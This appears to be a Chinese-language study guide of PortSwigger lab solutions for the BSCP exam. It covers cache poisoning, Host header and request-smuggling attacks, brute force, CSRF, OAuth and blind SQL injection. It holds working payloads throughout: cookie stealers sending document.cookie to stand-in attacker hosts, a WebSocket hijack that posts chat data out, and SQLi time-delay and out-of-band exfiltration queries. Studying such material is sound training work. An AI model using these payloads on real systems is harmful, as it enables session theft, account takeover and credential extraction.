PortSwigger 实验:通过歧义请求进行 Web 缓存投毒
识别响应中的缓存命中标头,
然后测试目标是否支持X-Forwarded-Host或X-Forwarded-Scheme标头。
这些标头可能允许窃取受害者的会话 Cookie。
识别在 GET
/resources/js/tracking.js请求中添加两个 Forwarded 标头是否会导致 location 响应标头发生变化。这表明使用多个标头成功对缓存进行了投毒。```html GET /resources/js/tracking.js?cb=123 HTTP/2 Host: TARGET.net X-Forwarded-Host: EXPLOIT.net X-Forwarded-Scheme: nothttps

>在漏洞利用服务器上,将文件路径更改为 ```/resources/js/tracking.js```
>然后更新投毒请求的 ```X-Forwarded-Host: EXPLOIT.net``` 标头。
>将有效载荷放置在漏洞利用服务器主体中。```html
document.location='https://OASTIFY.COM/?poisoncache='+document.cookie;
移除
cb=123缓存 破坏器,然后对缓存进行投毒,直到受害者被重定向到利用服务器载荷 tracking.js 以窃取会话 cookie。
PortSwigger 实验室:使用多个标头进行 Web 缓存投毒
通过添加一个同名但值不同的第二个参数,响应中反射了注入的值,从而识别出应用程序容易受到重复参数投毒攻击。
```
GET /js/geolocate.js?callback=setCountryCookie&callback=FUZZERFunction; HTTP/2
>通过传入重复的 callback 参数,响应中调用的函数会被反射出来。注意在响应中,缓存键仍然来源于 GET 请求行中的原始 callback 参数。

>无法让 cookie 窃取器 payload 正常工作......
[PortSwigger 实验:通过 fat GET 请求进行 Web 缓存投毒](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
-----
## Host 头
[伪造 IP 地址](#spoof-ip-address)
[HOST 连接状态](#host-connection-state)
[基于 Host 路由的 SSRF](#host-routing-based-ssrf)
[通过有缺陷的 Host 请求解析实现 SSRF](#absolute-get-url--host-ssrf)
### 伪造 IP 地址
>***识别*** 出修改后的 HOST 头被支持,
>这允许你伪造 IP 地址并绕过基于 IP 的暴力破解保护,
>或通过重定向攻击进行 ***密码重置*** 投毒。
>发送请求前,加入以下 `X- ` 头,并将密码重置请求中的 username 参数改为 `Carlos`。
>在 BSCP 考试中,如果你使用了此 exploit,则意味着你还没有利用需要用户交互的漏洞,并且允许你使用交互漏洞,通过 exploit server 的 `Deliver exploit to victim` 功能以管理员身份访问阶段 3。```html
X-Forwarded-Host: EXPLOIT.net
X-Host: EXPLOIT.net
X-Forwarded-Server: EXPLOIT.net
来自 fullfox 的提示与说明:
Host: 或 X-Forwarded-Host: 伪造 Host 头,如果收到 Invalid hostname 错误,请尝试使用以下主机名:xxx.oastify.com?TARGET.net(不带斜杠的合法目标 URL)。检查漏洞利用服务器日志,以获取受害用户名的重置链接。

目标容易受到通过 Host 头实现的 基于路由的 SSRF 攻击,但会验证第一个请求的连接状态。使用 单一连接 按顺序发送分组请求,并将连接头设置为 keep-alive,即可绕过 Host 头验证,并实现对本地服务器的 SSRF 利用。```html GET / HTTP/1.1 Host: TARGET.net Cookie: session=ValueOfSessionCookie Content-Length: 48 Content-Type: text/plain;charset=UTF-8 Connection: keep-alive
>下一个请求是请求组序列中的第二个选项卡。```html
POST /admin/delete HTTP/1.1
Host: localhost
Cookie: _lab=YOUR-LAB-COOKIE; session=YOUR-SESSION-COOKIE
Content-Type: x-www-form-urlencoded
Content-Length: 53
csrf=TheCSRFTokenValue&username=carlos
注意,第二个请求已成功访问管理员面板。

PortSwigger Lab: 通过连接状态攻击绕过主机验证
架构包含前端和后端服务器,且前端或后端不支持分块编码 (HEX) 或 content-length (十进制)。绕过安全控制以获取受害者的请求,并使用受害者用户的 Cookie 访问其账户。
TE.CL dualchunk - Transfer-encoding 混淆
TE.CL multiCase - Admin 被阻止
CL.TE multiCase - Admin 被阻止
CL.TE multiCase - Content-Length Cookie 窃取器
CL.TE multiCase - User-Agent Cookie 窃取器
HTTP/2 走私 - CRLF 注入 Cookie 窃取器
HTTP/2 TE - Admin Cookie 窃取器
如果允许重复的标头名称,且漏洞被检测为 dualchunk,则添加一个额外的标头,其名称和值 = Transfer-encoding: cow。 对第二个 TE 使用 混淆 技术。``` Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding : chunked
Transfer-encoding: identity Transfer-encoding: cow
>有些支持 `Transfer-Encoding` 头的服务器,如果该头以某种方式被**混淆**,可能会被诱导不处理它。
>在 Repeater 菜单中,确保 **"Update Content-Length"** 选项未勾选。```html
POST / HTTP/1.1
Host: TARGET.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: identity
e6
GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://OASTIFY.COM/?c='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0\r\n
\r\n

注意: 您需要在最终的 0 后面包含尾随序列 \r\n\r\n。
PortSwigger 实验室:HTTP 请求走私,混淆 Transfer-Encoding (TE) 标头
想知道黑客能够通过 HTTP Sync 漏洞窃取访问用户请求的这种场景有多常见?
当尝试访问
/admin门户 URL 路径时,我们会得到过滤器消息:Path /admin is blocked。HTTP Request Smuggler 扫描器 识别 该漏洞为TE.CL multiCase (delayed response)。注意: 因为后端服务器不支持分块编码,请在 Repeater 菜单中关闭Update Content-Length。
在禁用自动 Content-Length 更新后,将请求更改为
HTTP/1.1,然后发送以下请求两次,添加第二个标头Content-Length: 15以防止 HOST 标头与第一个请求冲突。
注意: 需要在最终的0后面包含尾随序列\r\n\r\n。
手动修复请求走私攻击中的长度字段时,每个块的大小(以字节为单位)必须以 十六进制 表示,而 Content-Length 指定消息正文的长度(以 字节 为单位)。每个块后面跟一个 换行符,然后是块内容。消息以大小为 ZERO(零)的块终止。```html POST / HTTP/1.1 Host: TARGET.net Content-Type: application/x-www-form-urlencoded Content-length: 4 Transfer-Encoding: chunked
71 POST /admin HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded Content-Length: 15
x=1 0
>计算 TE.CL(Transfer-Encoding / Content-Length)走私请求长度的**十六进制**值;payload 位于十六进制长度 **71** 与终止符 **ZERO** 之间,长度不包括 ZERO,也不包括 ZERO 上方一行前面的 `\r\n`。初始 POST 请求的 **content-length** 是手动设置的。

>当发送 `/admin/delete?username=carlos` 删除用户时,transfer encoding 的十六进制长度从 `71` 更改为十六进制值 `88`,以包含额外的走私请求大小。
[PortSwigger 实验:利用 HTTP 请求走私绕过前端安全控制,TE.CL 漏洞](https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-te-cl)
### CL.TE multiCase - Admin 被阻止
>当尝试访问 `/admin` 门户 URL 路径时,我们会收到过滤消息 `Path /admin is blocked`。HTTP Request Smuggler 扫描器***识别***该漏洞为 `CL.TE multiCase (delayed response)`。
>要访问管理面板,请将以下请求发送两次,添加第二个标头 ```Content-Length: 10```,以防止 HOST 标头与第一个请求冲突。```html
POST / HTTP/1.1
Host: TARGET.net
Cookie: session=waIS6yM79uaaNUO4MnmxejP2i6sZWo2E
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
tRANSFER-ENCODING: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=
第二次发送请求时,管理门户会在响应中返回。

PortSwigger 实验:利用 HTTP 请求走私绕过前端安全控制,CL.TE 漏洞
使用较大的 Content-Length 来捕获受害者的请求。发送一个包含走私请求的 POST 请求,但内容长度大于实际长度;当受害者浏览时,其 Cookie 会话值会被发布到 blob 评论中。将 comment-post 请求的 Content-Length 增加到 798,然后将 POST 请求走私到后端服务器。```html POST / HTTP/1.1 Host: TARGET.net Content-Type: application/x-www-form-urlencoded Content-Length: 242 Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 798 Cookie: session=HackerCurrentCookieValue
csrf=ValidCSRFCookieValue&postId=8&name=c&email=c%40c.c&website=&comment=c

>上面的走私 POST 请求末尾没有换行^^。
>查看博客**文章**,看看是否有包含用户请求的评论。请注意,只有当受害用户浏览目标网站时,攻击才会成功。从博客文章评论中复制用户的 Cookie 标头,并使用该 Cookie 访问受害者的账户。

[PortSwigger 实验:利用 HTTP 请求走私捕获其他用户的请求](https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests)
### CL.TE multiCase - User-Agent Cookie 窃取器
>***识别*** UserAgent 值被存储在加载博客评论表单的 GET 请求中,并存储在 **User-Agent** 隐藏值中。利用 HTTP 请求走私,通过 **User-Agent** 值传递反射型 XSS,该值随后被放入走私请求中。
>基础的跨站脚本(XSS)载荷,用于逃逸出 HTML 文档。```JavaScript
"/><script>alert(1)</script>
Cookie 窃取器 Payload。```JavaScript a"/>;
>将这个 XSS 请求走私到后端服务器,使其利用下一个访问者。将 XSS Cookie 窃取器放在 **User-Agent** 标头中。```html
POST / HTTP/1.1
Host: TARGET.net
Content-Length: 237
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
0
GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://OASTIFY.COM/?Hack='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
x=1

检查从受害者浏览目标时收到的 PortSwigger Collaborator 请求。

PortSwigger 实验:利用 HTTP 请求走私传递反射型 XSS
目标容易受到请求走私攻击,因为前端服务器会降级 HTTP/2 请求,并且未能充分清理传入的标头。利用方式是使用仅适用于 HTTP/2 的请求走私向量来窃取受害者的会话 cookie,并获取用户账户的访问权限。
识别潜在漏洞:当目标根据 cookie 反映之前和最近的搜索历史时,通过移除 cookie,你会注意到搜索历史被重置,从而确认它与你的会话 cookie 相关联。

展开 Inspector 的 Request Attributes 部分,将协议改为 HTTP/2,然后附加任意标头
foo,值为bar,随后跟上序列\r\n,然后再跟上Transfer-Encoding: chunked,按下 shift+ENTER。

注意:启用 Allow HTTP/2 ALPN override 选项,并将 HTTP/2 请求的正文改为下面的 POST 请求。```html 0
POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Cookie: session=HACKER-SESSION-COOKIE Content-Length: 800
search=nutty

[PortSwigger 实验室:通过 CRLF 注入进行 HTTP/2 请求走私](https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-smuggling-via-crlf-injection)
[YouTube 演示:通过 CRLF 注入进行 HTTP/2 请求走私](https://youtu.be/E-bnCGzl7Rk)
### HTTP/2 TE desync v10a h2path
>目标容易受到请求走私攻击,因为前端服务器会对 HTTP/2 请求进行降级,即使这些请求具有不明确的长度。窃取访问目标的管理员的会话 Cookie。Burp 扩展 **HTTP Request Smuggler** 将 ***标识*** 该漏洞为 HTTP/2 TE desync v10a (H2.TE) 漏洞。

>注意:在检查器的请求属性中切换到 **HTTP/2**,并在重放菜单中启用 **Allow HTTP/2 ALPN override** 选项。```html
POST /x HTTP/2
Host: TARGET.net
Transfer-Encoding: chunked
0
GET /x HTTP/1.1
Host: TARGET.web-security-academy.net\r\n
\r\n
注意:POST 和 GET 请求中的路径均指向不存在的端点。这有助于 识别:当未收到 404 响应时,该响应来自受害者用户捕获的请求。请记住,要在 Host 头之后包含
\r\n\r\n序列,以正确终止走私请求。

将窃取的会话 cookie 值复制到发送至管理面板的新 http/2 GET 请求中。``` GET /admin HTTP/2 Host: TARGET.web-security-academy.net Cookie: session=VictimAdminSessionCookieValue Cache-Control: max-age=0

[PortSwigger 实验:通过 H2.TE 请求走私进行响应队列投毒](https://portswigger.net/web-security/request-smuggling/advanced/response-queue-poisoning/lab-request-smuggling-h2-response-queue-poisoning-via-te-request-smuggling)
-----
## 暴力破解
[Stay-Logged-in](#stay-logged-in)
[Stay-logged-in 离线破解](#stay-logged-in-offline-crack)
[受暴力破解保护的登录](#brute-force-protected-login)
[隐晦无效的登录](#subtly-invalid-login)
### Stay-Logged-in
>登录选项带有 stay-logged-in 复选框时,Cookie 值会包含已登录用户的密码,因而容易受到暴力破解攻击。

>下面的利用步骤,加上按顺序设置的 Intruder 载荷处理规则,并在开始攻击前依次包含 GREP 选项。
1. 以当前用户身份注销。
2. 将最近的 GET /my-account 请求发送到 Burp Intruder。
3. 选择 cookie:```stay-logged-in``` 作为注入位置。
4. 哈希:```MD5```
5. 添加前缀:```carlos:```
6. 编码:```Base64-encode```
7. 在设置选项卡下添加 **GREP**,以检查响应中的字符串 ```Update email```,该字符串表示已成功登录。

[PortSwigger 实验:暴力破解 stay-logged-in cookie](https://portswigger.net/web-security/authentication/other-mechanisms/lab-brute-forcing-a-stay-logged-in-cookie)
### Stay-logged-in 离线破解
>博客应用的评论功能存在 [存储型 XSS](#stored-xss) 漏洞,可在博客评论中使用下面的载荷,将 Carlos 的会话 cookie 发送到 exploit 服务器。```
<script>
document.location='https://EXPLOIT.net/StealCookie='+document.cookie
</script>
对
stay-logged-incookie 值进行 Base64 解码,并使用在线 MD5 哈希破解站数据库。

识别到 登录存在暴力破解保护:当后端强制执行 30 分钟封禁时,无效登录尝试过多会导致 IP 被屏蔽。测试
X-Forwarded-For:标头可绕过暴力破解保护。观察使用长无效密码时的响应时间,意味着我们可以使用 Pitchfork 技术,先用随机长密码 识别 有效的用户名,然后使用 Pitchfork 重新运行 Intruder,设置每个 payload 位置,使攻击同时遍历所有集合。
Payload 位置 1 放在
X-Forwarded-For:的 IP 地址上,位置 2 放在用户名上,并使用长密码,以在攻击列窗口中查看 响应时间延迟。``` X-Forwarded-For: 12.13.14.15

>对密码字段重复上述 **Pitchfork** Intruder 攻击,然后通过状态列中的 302 结果 ***识别*** 有效密码。
[PortSwigger 实验:通过响应时间进行用户名枚举](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-response-timing)
### 细微无效的登录
>***识别*** 出登录页面和密码重置未受暴力破解攻击的保护,且对无效用户名或密码未实施 IP 封禁或超时限制。
>BSCP 考试提示:有时会有另一个密码较弱的用户可以被暴力破解。Carlos 并不总是第一阶段中为了获得立足点访问而需要攻击的目标账户。

>注意 Intruder 攻击列中的 GREP 值,```Invalid username or password.``` 对于失败的用户名攻击,有一条响应消息在末尾没有句点。使用这个 ***已识别*** 的用户名重复攻击,并用 **Sniper** 攻击密码字段,以 ***识别*** 有效登录的 ```302``` 响应。

>在 BSCP 考试中,***留意*** 返回的其他不同消息,这些消息会泄露应用程序中的有效账户,并允许通过暴力破解 ***识别*** 账户密码,例如 [刷新密码重置](#refresh-password-broken-logic) 功能中的示例。
>一旦从不同的响应消息中识别出有效用户名,然后使用 Burp Intruder 对密码执行 [暴力破解](#brute-force)。
[PortSwigger 实验:通过细微不同的响应进行用户名枚举](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-subtly-different-responses)
>在 Web 应用中识别有效用户名的另一种场景是:在登录时提供用户名列表和一个无效密码值。在 Intruder 攻击结果中,一个响应将包含消息 `Incorrect password`。
>Intruder 攻击注入位置:`username=§invalid-username§&password=SomeStupidLongCrazyWrongSecretPassword123456789`。
[PortSwigger 实验:通过不同响应进行用户名枚举](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-different-responses)
-----
## 身份验证
[账户注册](#account-registration)
[Auth Token 绕过宏](#auth-token-bypass-macro)
### 账户注册
>账户注册功能中的业务逻辑缺陷允许以目标用户角色访问获得立足点。[内容发现](#content-discovery) 找到路径 ```/admin```,消息表明只有以 **DontWannaCry** 用户身份登录时才可使用管理员界面。

>在 ```@``` 符号之前创建超过 200 个字符的电子邮件会被截断为 255 个字符。这 ***识别*** 出账户注册页面逻辑中的**缺陷**。在下面的电子邮件中,```@dontwannacry.com``` 末尾的 ```m``` 恰好是第 255 个字符。```
very-long-strings-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-strings@dontwannacry.com.exploit-0afe007b03a34169c10b8fc501510091.exploit-server.net

如果登录认证使用随机令牌来防止暴力破解,并且该令牌在每次登录 POST 中都会使用,则可以使用 Burp 宏来绕过该保护。
创建 Burp 宏
Macros,然后添加新宏。Configure item,并添加要提取的自定义参数位置。Include all URLs。
PortSwigger 实验:无限货币逻辑缺陷 - 展示如何创建 Burp 宏
OAuth
Referer 验证 CSRF
存在 Referer 头
LastSearchTerm
CSRF 在 Cookie 中重复
存在 CSRF 令牌
是否已登录
CSRF 无防御
SameSite Strict 绕过
SameSite Lax 绕过
跨站请求伪造(CSRF)漏洞允许攻击者强制用户执行他们本不打算执行的操作。这可以使攻击者更改受害者的电子邮件地址,并利用密码重置来接管账户。
oAuth 关联攻击:在攻击服务器上托管 iframe,然后将其发送给受害者,强制用户更新已关联的代码。

拦截 GET /oauth-linking?code=[...] 请求,将其发送到 Repeater 以保存 code。丢弃 该请求。重要的是确保该 code 未被使用且仍然有效。在攻击服务器上保存一个 iframe,其
src属性指向你刚复制的 URL。```html
[PortSwigger 实验室:强制 OAuth 配置文件关联](https://portswigger.net/web-security/oauth/lab-oauth-forced-oauth-profile-linking)
### Referer 验证 CSRF
>***识别*** 更改电子邮件功能是否易受 CSRF 攻击,方法是通过观察当 **Referer** 标头值被更改时,响应给出的消息为 `Invalid referer header`;当 referrer 值在任意位置包含预期的目标域时,电子邮件更改会被接受。

>将目标的原始域名添加到 **Referer 标头**中,并以查询字符串形式附加 `history.pushState('', '', '/?TARGET.net');`,从而允许更改电子邮件操作生效。```html
Referrer-Policy: unsafe-url
注意: 与正常的 Referer 头拼写不同,上述漏洞利用服务器的
head部分中的单词 "referrer" 必须拼写正确。

``` >当上述利用载荷发送给受害者时,CSRF POC载荷会将受害者邮箱改为**[email protected]**,因为Referer头中包含目标值。在***BSCP***考试中,请注意你的```hacker@exploit```服务器邮箱地址,以便在账户接管中使用。创建 CSRF 概念验证漏洞利用并将其托管在漏洞利用服务器上。编辑 JavaScript,使 history.pushState() 函数的第三个参数包含带有目标 URL 的查询字符串。```html
PortSwigger实验室:CSRF与失效的Referer验证
``` >这是一个交互式漏洞利用;在 BSCP 考试中,如果阶段 1 的漏洞利用是非交互式的,那么可以通过让管理员点击链接来更改其密码,从而获得管理员交互。注意检查更改电子邮件页面的 `source code` 中是否有任何额外的 form id 值。在更新邮箱请求中,当更改
referer头时,响应显示Invalid referer header,表明存在CSRF漏洞。使用<meta name="referrer" content="no-referrer">作为漏洞利用服务器CSRF PoC的一部分,可以绕过此控制。这会指示漏洞利用服务器在向受害者发送漏洞利用时不带referer头。```html

PortSwigger 实验室:Referer 验证依赖于存在标头时的 CSRF
识别 CSRF 漏洞,其中令牌未绑定到非会话 cookie,通过更改 csrfkey cookie 并观察请求被拒绝的结果。观察包含用户从搜索参数提供的输入的 LastSearchTerm cookie 值。

搜索功能没有 CSRF 保护,请创建以下 payload,注入换行符
%0d%0a以在响应中设置新的 cookie 值,并利用此方法向受害者用户的浏览器注入 cookie。``` /?search=test%0d%0aSet-Cookie:%20csrfKey=CurrentUserCSRFKEY%3b%20SameSite=None
>生成 CSRF POC,启用包含 **auto-submit** 脚本的选项,然后点击 **Regenerate**。移除 **auto-submit** 脚本代码块,改为添加以下内容,并将 ```history.pushState``` 脚本代码放在 body 头部下方。IMG SRC 标签的 **onerror** 事件将改为提交 CSRF POC。```
<img src="https://TARGET.net/?search=test%0D%0ASet-Cookie:%20csrfKey=CurrentUserCSRFKEY;%20SameSite=None" onerror="document.forms[0].submit()">
During BSCP 考试 期间,将邮件更改值设置为漏洞利用服务器 [email protected] 的邮箱地址。然后您可以使用重置功能更改管理员密码。

在下面的 CSRF PoC 代码中,隐藏的 csrf 值是由 更改电子邮件 功能生成的值,而
img src中的 csrfkey 值是受害者的值,通过以受害者提供的凭据登录获得。不确定考试中是否会遇到,但在现实世界中这是需要执行的测试。```html
在目标中,我们识别出 CSRF 密钥令牌在 Cookie 值中被重复使用。另一个指标是 Cookie
LastSearchTerm包含所搜索的值。通过提供包含%0d%0a的搜索值,我们可以注入行尾和换行字符,从而创建新的 CSRF Cookie 和值。

在利用代码的
img src标签中,我们将 csrf 的 Cookie 设置为 fake。```html
PortSwigger 实验室:令牌在 Cookie 中重复的 CSRF
更改
csrf参数的值会导致更改电子邮件请求被拒绝。删除 CSRF 令牌则允许更改电子邮件请求被接受,这表明仅验证令牌是否存在的机制存在漏洞。
``` 托管在漏洞利用服务器上的 CSRF PoC 载荷:```html
PortSwigger 实验:CSRF,其中令牌验证取决于令牌是否存在
如果识别到名为 isloggedin 的 cookie,则刷新管理员密码的 POST 请求可能被利用。
以低权限用户身份登录时,将 username 参数改为 administrator。
CSRF 令牌不与用户会话绑定。```html POST /refreshpassword HTTP/1.1 Host: TARGET.net Cookie: session=%7b%22username%22%3a%22carlos%22%2c%22isloggedin%22%3atrue%7d--MCwCFAI9forAezNBAK%2fWxko91dgAiQd1AhQMZgWruKy%2fs0DZ0XW0wkyATeU7aA%3d%3d Content-Length: 60 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: https://TARGET.net Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/; X-Forwarded-Host: EXPLOIT.net X-Host: EXPLOIT.net X-Forwarded-Server: EXPLOIT.net Referer: https://TARGET.net/refreshpassword Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close
csrf=TOKEN&username=administrator

### CSRF 无防御
>目标对电子邮件更改功能没有任何防御措施,因此可能允许权限提升到管理员角色。在考试中,将电子邮件更改为利用服务器上的 `[email protected]` 电子邮件地址,可以让攻击者更改管理员用户的密码,从而导致权限提升。
>在考试中只有***一个***活跃用户,如果前一阶段是通过不需要活跃用户点击链接的攻击完成的,例如执行缓存投毒或通过 `Deliver to Victim` 功能进行钓鱼攻击,那么就可以使用 CSRF 更改漏洞利用。

[PortSwigger 实验:无防御的 CSRF 漏洞](https://portswigger.net/web-security/csrf/lab-no-defenses)
### SameSite Strict 绕过
>在实时聊天功能中,我们注意到 `GET /chat HTTP/2` 请求不使用任何不可预测的令牌,如果可能绕过 [SameSite](https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions) Cookie 限制,这可以***识别***潜在的[跨站 WebSocket 劫持](https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking)(CSWSH)漏洞。
>在利用服务器上托管 POC 载荷以***识别*** CSWSH 漏洞。```
<script>
var ws = new WebSocket('wss://TARGET.net/chat');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://OASTIFY.COM', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
会话 Cookie 设置了
SameSite=Strict,这可以防止浏览器在 XSS 跨站请求中携带这些 Cookie。我们在向cms-子域发送的附加脚本和图片请求中识别到了Access-Control-Allow-Origin请求头。
浏览到该cms-CDN 子域,然后识别到随机用户名输入被反射,确认这是一个反射型 XSS 漏洞。
cms reflected xss samesite bypass``` https://cms-TARGET.net/login?username=%3Cscript%3Ealert%28%27reflectXSS%27%29%3C%2Fscript%3E&password=pass
>通过对下面的整个脚本进行 URL 编码,并将其用作托管在 exploit server 上的 CDN 子域 `cms-` 用户名登录的输入,从而绕过 SameSite 限制。```
<script>
var ws = new WebSocket('wss://TARGE.net/chat');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://OASTIFY.COM', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
将以下内容托管在漏洞利用服务器上并传递给受害者,一旦协作者收到受害者的聊天记录及其密码,就会导致账户接管。```
>聊天记录中包含受害者的密码。

[PortSwigger 实验:通过兄弟域绕过 SameSite Strict](https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions/lab-samesite-strict-bypass-via-sibling-domain)
### SameSite Lax 绕过
>注意,如果你访问 `/social-login`,它会自动启动完整的 OAuth 流程。如果你与 OAuth 服务器之间仍有已登录的会话,这一切都会自动发生,无需任何交互。并且,在代理历史中,注意每次你完成 OAuth 流程时,目标站点都会设置一个新的会话 cookie,即使你已经登录过。
>使用以下 JavaScript 绕过弹窗拦截器,诱导受害者点击页面,并且仅在受害者点击后才打开弹窗。该漏洞利用 JavaScript 代码首先强制受害者的浏览器访问 `/social-login` 来刷新受害者的会话,然后在短暂暂停后提交邮箱更改请求。将漏洞利用代码发送给受害者。```
<form method="POST" action="https://TARGET.net/my-account/change-email">
<input type="hidden" name="email" value="[email protected]">
</form>
<p>Click anywhere on the page</p>
<script>
window.onclick = () => {
window.open('https://TARGET.net/social-login');
setTimeout(changeEmail, 5000);
}
function changeEmail() {
document.forms[0].submit();
}
</script>
PortSwigger 实验室:通过 Cookie 刷新绕过 SameSite Lax
如果应用程序的刷新密码功能存在缺陷,则可利用此漏洞识别有效账户或获取密码重置令牌。这可能导致识别有效用户账户或实现权限提升。
这类漏洞不需要应用程序上的活跃用户与漏洞利用进行交互,也不需要任何用户点击链接或进行交互。请注意这类不需要应用程序活跃用户的漏洞对 BSCP 考试的意义,因为在考试的下一阶段,可以使用例如发送给受害者的其他交互式钓鱼链接。
在
/forgot-password页面的源代码中,识别到用户名是一个隐藏字段。

通过删除 URL 和请求正文中的
temp-forgot-password-token参数来利用 POST 请求。将 username 参数更改为carlos。

识别到“更改密码”功能不需要
current-password参数即可设置新密码,且其密码将被更改的用户由 POST 参数username=administrator决定。
在 PortSwigger 实验室中,他们会为您提供wiener:peter的凭据,这模拟了在考试第一阶段获得低级用户访问权限的情况。在考试中,此密码重置漏洞是无需活跃用户交互即可将您的访问权限提升为管理员的示例。
拦截
/my-account/change-password请求,由于csrf令牌是单次随机使用的值,因此设置username=administrator并移除current-password参数。

目标站点使用时间戳生成哈希密码重置令牌 URL。
同时对两个不同的用户发送并行的强制密码重置请求,
将导致生成重复且匹配的令牌,因为后端使用相同的时间戳生成重置令牌。
我们自己的用户
carlos会在其电子邮件中收到重置令牌 URL,然后编辑 URL 中的名称,使其与目标受害者用户administrator匹配。

盲注时间延迟
盲注 SQLi
无迹象的盲注 SQLi
条件响应的盲注 SQLi
Oracle
SQLMAP
非 Oracle 手动 SQLi
可视化基于错误的 SQLi
HackTheBox CPTS SQL 注入基础
基于错误或盲注的 SQL 注入漏洞,可使应用程序中的 SQL 查询被用于从数据库提取数据或登录凭据。SQLMAP 用于快速推进漏洞利用并检索敏感信息。
识别 SQLi:向 Web 参数或跟踪 Cookie 添加双引号 (") 或单引号 ('),如果这会破坏 SQL 语法并导致错误消息响应,则识别到阳性 SQL 注入。如果未观察到错误或条件消息,请测试盲注时间延迟载荷。

带有时间延迟的盲 SQL 注入很难识别,模糊测试需要根据经验进行猜测,正如 OffSec 在 OSCP 中教导我的那样。如果识别到阳性 SQL 注入,下面的载荷将执行条件判断,将响应延迟 10 秒。
识别 SQLi 漏洞。在 Burp 模拟考试第二阶段中,高级搜索过滤器存在
PostgreSQL注入漏洞。我发现使用SQLMAP识别和利用模拟考试中高级搜索的漏洞比较棘手。在此处模拟考试中手动利用 SQL 注入时间延迟。```SQL ;SELECT CASE WHEN (1=1) THEN pg_sleep(7) ELSE pg_sleep(0) END--
>[URL 编码](https://www.urlencoder.org/) `PostgreSQL` 载荷。```SQL
'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(7)+ELSE+pg_sleep(0)+END--
确定管理员用户的密码中有多少个字符。为此,递增
>1条件检查后面的数字。```SQL ;SELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

>使用 CLUSTER Bomb 攻击,针对密码中字符位置的每种排列重新运行攻击,以确定字符值。```SQL
;SELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,§1§,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
使用 CLUSTER bomb 攻击类型,包含两个 payload,第一个用于密码长度
1..20,第二个使用字符a..z和数字0..9。在 intruder 攻击结果中添加 Response Received 列进行排序,并将10秒或更长的延迟视为正向响应。

PortSwigger 实验:带时间延迟和信息检索的盲 SQL 注入
在 Burp 练习考试第 2 阶段中,SQL 注入不是使用单引号
'转义,而是使用分号;,然后将其 URL 编码为%3B。```SQL %3BSELECT+pg_sleep(7)--

>借助 Intruder 的 CLUSTER bomb 攻击,可在一次攻击中利用下方载荷中的两个载荷位置提取出密码。```SQL
;SELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,§1§,1)='§a§')+THEN+pg_sleep(7)+ELSE+pg_sleep(0)+END+FROM+users--
Burp 实践考试管理门户的第 3 阶段需要利用 不安全的反序列化 Cookie 值。
目标容易受到使用盲 SQL 利用查询进行的带外数据外泄攻击。在本例中为 trackingID Cookie。以下是 SQL 注入与 XXE 载荷的组合,用于利用该漏洞并将管理员密码作为 DNS 请求发送到 Collaborator 服务。```sql TrackingId=xxx'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f>+%25remote%3b]>'),'/l')+FROM+dual--

[PortSwigger 实验:带外数据外泄的盲SQL注入](https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band-data-exfiltration)
>上述SQL载荷也可用于提取此 [PortSwigger 实验:基于条件错误的盲SQL注入](https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors) 挑战的管理员密码。
### 无回显的盲SQLi
